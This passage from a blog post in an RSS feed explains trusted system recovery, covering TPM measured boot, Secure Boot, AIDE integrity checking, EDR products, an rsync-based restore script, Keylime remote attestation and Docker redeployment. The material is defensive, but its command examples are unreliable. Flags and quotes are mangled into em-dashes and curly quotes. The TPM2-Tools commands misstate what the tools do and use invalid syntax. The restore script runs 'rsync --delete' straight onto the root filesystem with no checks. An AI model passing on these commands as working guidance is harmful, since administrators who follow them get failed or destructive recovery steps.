Using TPM:<br>- During boot, the TPM verifies the cryptographic hash of each boot stage (BIOS, bootloader, OS kernel).<br>- If the TPM detects tampering or deviation from trusted hashes, it halts the boot or flags the anomaly for administrative intervention.<br> <br>Practical Example Using TPM Tools:<br>- Install and configure TPM2-Tools(a Linux-based suite for interacting with TPMs).</p><p>```bash<br># Measure the integrity of a critical file<br>tpm2_pcrread sha256:0</p><p># Store a baseline hash in the TPM<br>tpm2_createpolicy — policy-hash sha256:baseline-hash.txt</p><p># Validate system integrity during recovery<br>tpm2_policyauthorize — policy baseline-hash.txt — key recovery-key.pem<br>```</p><p>2. Secure Boot and Integrity Tools</p><p>Secure Boot<br>- Ensures that only signed, trusted software can load during the boot process.<br>- Configured in UEFI settings and enforced via firmware.<br> <br>Example:<br>- Use a Secure Boot configuration to validate the OS kernel and recovery tools during the recovery process.</p><p>Integrity Monitoring with AIDE (Advanced Intrusion Detection Environment)<br>- AIDE is a file integrity checker used to validate system state after recovery.</p><p>```bash<br># Initialize a trusted database of file hashes<br>aide — init<br>mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db</p><p># Validate the file system state after recovery<br>aide — check<br>```</p><p>3. Endpoint Detection and Response (EDR) Tools for Trusted Recovery</p><p>EDR tools can monitor, validate, and enforce trusted recovery in production environments.</p><p>a. Microsoft Defender for Endpoint<br>- Monitors system integrity, flags anomalous recovery activities, and validates restored systems for malware or misconfigurations.<br> <br>Example Workflow:<br>- Post-Recovery Scanning: Automatically scans restored systems for indicators of compromise (IOCs).<br>- Behavior Analysis: Monitors for unusual activity after recovery, such as unauthorized changes to critical files.</p><p>b. CrowdStrike Falcon<br>- Provides real-time visibility into endpoint activity, validates recovery steps, and hunts threats that could re-enter the environment.<br> <br>Example Feature:<br>- Falcon Overwatch detects anomalies during recovery and performs behavioral analysis to ensure the restored system remains secure.</p><p>c. Carbon Black (VMware)<br>- Offers advanced threat hunting and response capabilities, including automated rollback to secure states.</p><p>4. Automated Recovery Scripting with Hash Validation</p><p>Using Scripts for Trusted Recovery<br>Automated scripts can streamline recovery processes by restoring systems to trusted states and validating them.</p><p>Example: Restore a Linux server to a trusted baseline image using `rsync` and hash validation.</p><p>```bash<br>#!/bin/bash</p><p># Define trusted backup path<br>TRUSTED_BACKUP=”/mnt/trusted-backup”</p><p># Restore system files from backup<br>rsync -av — delete $TRUSTED_BACKUP/ /</p><p># Validate system files against known-good hashes<br>while read -r file hash; do<br> current_hash=$(sha256sum “$file” | awk ‘{print $1}’)<br> if [[ “$current_hash” != “$hash” ]]; then<br> echo “Warning: Integrity check failed for $file”<br> fi<br>done &lt; /trusted-hashes.txt</p><p># Notify administrator<br>echo “System restoration and validation completed.” | mail -s “Recovery Report” <a href="/service/mailto:admin@example.com">admin@example.com</a><br>```</p><p>5. Remote Attestation for Continuous Integrity Monitoring</p><p>What is Remote Attestation?<br>- Validates the system’s integrity remotely by comparing its state to trusted baselines.<br>- Leverages TPM measurements and reports results to a central authority.</p><p>Example Tool: Keylime<br>Keylime is an open-source tool for remote attestation using TPMs.</p><p>Key Features:<br>- Validates system integrity continuously.<br>- Detects unauthorized changes during runtime.</p><p>Workflow:<br>1. Install Keylime on the client and verifier systems.<br>2. Configure the verifier to monitor the client’s TPM measurements.<br>3. Trigger alerts if the client deviates from its trusted state.</p><p>```bash<br># Install Keylime components<br>apt install keylime-tpm-certifier keylime-agent keylime-verifier</p><p># Start the verifier<br>keylime_verifier &amp;</p><p># Monitor the system<br>keylime_agent — config /etc/keylime/agent.conf<br>```</p><p>6. Recovery with Virtualization and Snapshots</p><p>Using Snapshots for Rapid Recovery<br>- Virtual machines and container platforms (e.g., VMware, Docker, Kubernetes) allow rapid restoration to a known-good state.</p><p>Example in VMware:<br>1. Take regular snapshots of a VM running critical applications.<br>2. In the event of a failure, revert to the last known-good snapshot.</p><p>Example Script for Docker:<br>```bash<br># Restore container to trusted state<br>docker stop compromised_container<br>docker rm compromised_container<br>docker run — name trusted_container -d trusted_image:latest<br>```</p><p>Conclusion</p><p>To achieve and monitor trusted recovery, organizations can leverage a combination of foundational mechanisms, advanced tools, and complementary controls.</p><p>- Design Phase: Use Secure Boot, TPM, and robust recovery planning.<br>- Operational Phase: Deploy integrity monitoring tools like AIDE and real-time EDR solutions such as Microsoft Defender or CrowdStrike Falcon.<br>- Complementary Controls: Integrate automation, remote attestation (Keylime), and snapshots for efficient, validated recovery processes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30a0a32c2155" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>